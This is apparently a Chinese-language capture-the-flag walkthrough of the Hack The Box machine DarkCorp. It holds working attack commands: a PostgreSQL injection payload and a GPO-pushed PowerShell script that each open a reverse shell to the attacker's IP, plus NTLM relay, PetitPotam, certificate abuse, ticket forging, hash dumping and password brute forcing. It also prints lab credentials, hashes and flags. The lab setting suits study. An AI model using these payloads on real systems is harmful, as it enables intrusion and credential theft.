# HTB-DarkCorp

---
## 偵查


查了 nginx 1.22.1 發現有一個 CVE-2022-45771
https://github.com/yuriisanin/CVE-2022-45771?tab=readme-ov-file
進網頁之後也只有辦帳號登入得選項

當我在看登入的原始碼得時候看到他有跑一段建立 mail 得程式

後面我抓包,發現這個 nginx 的漏洞似乎有可能利用

想不到怎麼用🤔
## dripmail
我新辦了一個帳號 root,結果我就收到一個 cron
看來是定期會執行 /root/scripts/mail_clean.sh
裡面有兩個帳號 ebelford、support

所以我回去原本的網頁,然後輸入自己剛剛創的帳號

用 burpsuit 攔截之後把 recipient 的 mail 改成自己

回去信箱之後發現它寄了一些資訊過來,還有一個新的身分 bcase
他說如果收到了釣魚信的話請將整封釣魚信寄給他們的安全工程師

這邊找一下有沒有可以用的資訊,查版本可以發現有一個 CVE
CVE-2024-42009


### CVE-2024-42009
我用這個 github 然後把傳送的帳號改成我創的帳號
https://github.com/Bhanunamikaze/CVE-2024-42009.git

有一個新的名字跟網域
Bryce
dev-a3f1-01.drip.htb

加進去

訪問網頁

就跟信裡說的一樣,要去重設密碼

這邊要輸入 bcase@drip.htb 然後用前面的漏洞再抓一次
這邊它給我一個 5 分鐘的重製密碼連結,我把密碼改成 123

## dashboard
登入進來

這邊可以看到所有 username 跟 ip


我在查詢這裡輸入了 123 ,這裡可以 sqli

這是 PostgreSQL

我去查了一個可以看使用者目錄的函數 pg_ls_dir()
https://pgpedia.info/p/pg_ls_dir.html

這是可以讀檔案的函數 pg_read_file()
https://pgpedia.info/p/pg_read_file.html
我在這裡找到設定檔
/var/www/html/dashboard/.env

裡面有一些密碼
dripmail_dba:2Qa2SsBkQvsc

```postgresql=
'';DO $$ DECLARE c text; BEGIN c := CHR(67) || CHR(79) || CHR(80) || CHR(89) || ' (SELECT '''') to program ''bash -c "bash -i >& /dev/tcp/10.10.16.3/1234 0>&1"'''; EXECUTE c; END $$;
```
這裡可以看到為甚麼上面這串會成功
https://medium.com/r3d-buck3t/command-execution-with-postgresql-copy-command-a79aef9c2767

## postgresql
內網還有機器

bcase | 202cb962ac59075b964b07152d234b70

還是找到一些密碼,但這不是機器的帳號的密碼

這台機器有很多身分

前面有找到一個 env 檔案,裡面有資料庫的 root 帳號
在 /var/backups/postgres 裡面應該是舊的資料庫資料
```pgp=
gpg --use-agent --homedir /var/lib/postgresql/.gnupg --pinentry-mode=loopback --passphrase 2Qa2SsBkQvsc --decrypt /var/backups/postgres/dev-dripmail.old.sql.gpg > dev-dripmail.old.sql
```

這應該是我們要的密碼,雖然如果不看別人做過根本就不知道這麼多密碼到底要用哪個

這是 MD5
ebelford:ThePlague61780
victor.r:`victor1gustavo@#`

掃這個帳戶知道是 ssh

## ebelford

我們在 172.16.20.3
## do ligo

為了要去掃它,要建一個反向的隧道,可以用 ligolo或是 chisel
如果我之後回來看,又忘記 ligolo 怎麼用,點下面那個或是用 chisel
https://yowlab.idv.tw/wordpress/?p=1282

先設 IP

https://github.com/nicocha30/ligolo-ng/releases
這裡可以下載 agent ,然後要把 agent 傳到目標機器

把 proxy 打開之後它會隨機給你一個 port
用那個 port 到 agent 那裏,讓我們連過去

nmap 掃了前三個 ip
我只傳了前兩個,因為我們是第三個



## ip 2
理論上它要有邏輯,應該是先從 3 -> 2 -> 1
所以我去 2
我訪問 port 5000 他要我輸入密碼
這邊密碼就是前面解出得其中一組密碼
victor.r:`victor1gustavo@#`

我先把這些資訊放進 /etc/hosts

它有開 smb

正要用 bloodhound 發現它在掃描 ldap 的時候出錯了

在這裡設定 dnat
/etc/proxychains4.conf
PS. 這些 ip 或是 port 都有它的意義

`sshpass -p'ThePlague61780' ssh -o StrictHostKeyChecking=no -D 9050 ebelford@drip.htb`
接著要連到 ebelford
為甚麼呢,因為這等於是用 ssh 接一個通道
主要不是為了找東西,而是連進去,後面才不會報錯

```bash=
proxychains4 bloodhound-python -c All -u victor.r@darkcorp.htb -p 'victor1gustavo@#' -dc dc-01.darkcorp.htb -d darkcorp.htb -ns 172.16.20.1 --dns-tcp --dns-timeout 10 --zip
```
這個 bloodhound 算是伏筆,因為在現階段啥都沒辦法用
所以只能去網路上找 writeup 以及試著通靈
---
## CVE-2025-33073
這是今年 6 月中所公開的 CVE (現在 7 月中)
要解釋跟說明太多東西了,強烈建議看下面這篇文章
https://www.synacktiv.com/en/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025
### 前情提要
我有用 chisel ,不要問我為啥不設定 ligolo 我挑我會的做


### 注意事項
即使衝到線也不要理他
要更新 impacket 所以要開虛擬 python
因為是要更新 openssl 所以要重開一下 reverse 的通道
或是有設定 dns 的話重設一下
### 攻擊
A、B 同時跑
注意上面選項正確之後按 check

跑完確定 dns 有塞入之後
這個是 A
```bash=
impacket-ntlmrelayx -t "ldap://172.16.20.1" --no-smb-server --no-dump --no-da --no-acl --no-validate-privs --add-dns-record 'dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' 10.10.14.5
```


這個是 B
```python=
python3 krbrelayx.py -t 'https://dc-01.darkcorp.htb/certsrv/certfnsh.asp' --adcs -v 'WEB01$'
```

在 AB 都是運行並且 A 的 dns 塞進去之後
運行這個,他不管怎樣都會寫攻擊有效
```bash=
python3 PetitPotam.py -u victor.r -p 'victor1gustavo@#' -d darkcorp.htb 'dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' web-01
```

最後 B 應該要出現這個畫面,如果沒有的話,那上面那個多送幾遍就好了

最後他會送你一個 `PKCS#12` 的驗證的檔案

這名字太煩了所以我改掉了

`sudo ntpdate -u 172.16.20.1`
`certipy-ad auth -pfx web01.pfx -dc-ip 172.16.20.1 -ns 172.16.20.1`
```
web-01$@darkcorp.htb: aad3b435b51404eeaad3b435b51404ee:8f33c7fc7ff515c1f358e488fbb8b675
```

`nxc ldap dc-01.darkcorp.htb -u 'victor.r' -p 'victor1gustavo@#' --get-sid`
> S-1-5-21-3432610366-2163336488-3604236847

```bash=
impacket-ticketer -nthash 8f33c7fc7ff515c1f358e488fbb8b675 -domain-sid S-1-5-21-3432610366-2163336488-3604236847 -domain darkcorp.htb -spn cifs/web-01.darkcorp.htb Administrator
```

`export KRB5CCNAME=./Administrator.ccache`
```bash=
impacket-wmiexec Administrator@web-01.darkcorp.htb -k -no-pass -debug
```

### 172.16.20.2 admin

不是這啥

## user.txt
真是艱辛
e06ddf92e36c92a3be4f3e2e3f9529ea

---
`impacket-secretsdump Administrator@web-01.darkcorp.htb -k -no-pass`
`Administrator:500:aad3b435b51404eeaad3b435b51404ee:88d84ec08dad123eb04a060a74053f21`

`nxc smb web-01.darkcorp.htb -u Administrator -H 88d84ec08dad123eb04a060a74053f21 --local-auth --dpapi`
他好像找不到真正的密碼

這是某個批次系統的密碼

## DpApi?
所以我回去 admin 裡面找 dpapi 的訊息

原本我是想說用 dpapi 解出一些訊息,理論上會解到另一個 user 的帳密

但是這裡怎麼是空的,空的沒辦法解

## kerbrute
https://github.com/ropnop/kerbrute.git
所以我回去用老辦法,再爆破一次看看
這段程式碼會把比較高風險的密碼抓出來
```python=
def process_line(line):
line = line.strip()
if len(line) < 7:
return None
return line
file_path = '/usr/share/wordlists/rockyou.txt'
try:
with open(file_path, 'r', errors='ignore') as file:
with open("rockyou.txt", 'w', errors='ignore') as outfile:
for line in file:
line = process_line(line)
if not line:
continue
outfile.write(line + "\n")
except FileNotFoundError:
print(f"Error: The file '{file_path}' was not found.")
except Exception as e:
print(f"An error occurred: {e}")
```
```bash=
./kerbrute_linux_amd64 bruteuser filtered-wordlist.txt taylor.b.adm -d darkcorp.htb --dc dc-01
```
居然成功了🤔
`taylor.b.adm@darkcorp.htb:!QAZzaq1`

---
## taylor.b
他有開 wimrm

回去 bloodhound 可以知道他是 gpo 的成員

`Get-GPO -All`
```
SecurityUpdates
652cae9a-4bb7-49f2-9e52-3361f33ce786
```

https://github.com/Hackndo/pyGPOAbuse.git
記得先開監聽
```python=
python3 pygpoabuse.py darkcorp.htb/taylor.b.adm:'!QAZzaq1' -dc-ip 172.16.20.1 -gpo-id "652CAE9A-4BB7-49F2-9E52-3361F33CE786" -powershell -command "\$c = New-Object System.Net.Sockets.TCPClient('10.10.14.5',6363);\$s = \$c.GetStream();[byte[]]\$b = 0..65535|%{0};while((\$i = \$s.Read(\$b, 0, \$b.Length)) -ne 0){ \$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$b,0, \$i); \$sb = (iex \$d 2>&1 | Out-String ); \$sb = ([text.encoding]::ASCII).GetBytes(\$sb + 'ps> '); \$s.Write(\$sb,0,\$sb.Length); \$s.Flush()};\$c.Close()" -taskname "MyTask" -description "123"
```
把這串送出去之後

`gpupdate /force`
更新

然後

我們把 taylor 加進身分組
`net group "Domain Admins" taylor.b.adm /add`

`impacket-secretsdump taylor.b.adm:'!QAZzaq1'@172.16.20.1 -just-dc-user Administrator`
然後把 hash dump 出來
`Administrator:500:aad3b435b51404eeaad3b435b51404ee:fcb3ca5a19a1ccf2d14c13e8b64cde0f`

## admin

### root.txt
ad71adaaa925b931ee83d39e98ea5b32

TheENd
---